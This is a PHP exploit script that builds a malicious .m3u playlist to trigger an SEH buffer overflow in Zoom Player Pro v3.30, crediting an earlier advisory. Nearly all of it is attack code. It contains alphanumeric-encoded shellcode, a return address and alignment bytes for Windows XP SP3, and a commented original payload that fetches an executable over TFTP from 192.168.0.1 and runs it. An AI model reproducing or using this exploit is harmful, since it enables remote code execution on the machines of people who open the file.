|
<?php /* Zoom Player Pro v.3.30 .m3u file buffer overflow exploit (seh) by Nine:Situations:Group::surfista
seems the same of http://secunia.com/advisories/28214/ bug found by Luigi Auriemma no full working exploit out, so I made my test version /* /* //original shellcode, 27 bytes + command //re-encode with //alpha2 --unicode ecx <sh.txt $scode = "\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53". "\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3 "\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff". "cmd /c tftp -i 192.168.0.1 GET s s.exe && s && ". "\xff"; */
$_scode="IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1". "AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBhkMC1Kn". "QWPnpNQGP3XPCPJaCEkJmo5TFsLYoHSNQUpiXgxyoKOKOosPmOtKpNOQSKp1d36rTp". "pkpNMpimPNQp9nRlnnQP6lxNNlplnP1MPPGQ524O0RSO02SnN35rXPeKpLfKvKp43kpkvmVMPkOA";
$buff="\x23\x45\x58\x54\x4d\x33\x55\x0d\x0a\x68\x74\x74\x70\x3a\x2f\x2f". "\x77\x77\x77". str_repeat("\x61",0xfe8). /* unicode preamble, alignment */ "\x6e". //add byte ptr [esi],ch, nop equivalent [*] "\xd3\x45". //0x004500d3 unicode friendly pop - pop - ret, zplayer.exe "\x6e". //* "\x05\x7f\x4c". //add eax,4c007f00h "\x6e". //* "\x2d\x59\x4c". //sub eax,4c005900h "\x6e". //* "\x50". //push eax "\x6e". //* "\x59". //pop ecx str_repeat("\x6e\x90",0x7f). //nop "\x6e". //* "\x6a". //push 0, nop equivalent $_scode. str_repeat("\x90",0xbb8); $_fp=@fopen("pwn.m3u","w+"); if (!$_fp) { die("[:(] Failed to create file...");} fputs($_fp,$buff); fclose($_fp); print("[:)] Done!"); ?>
|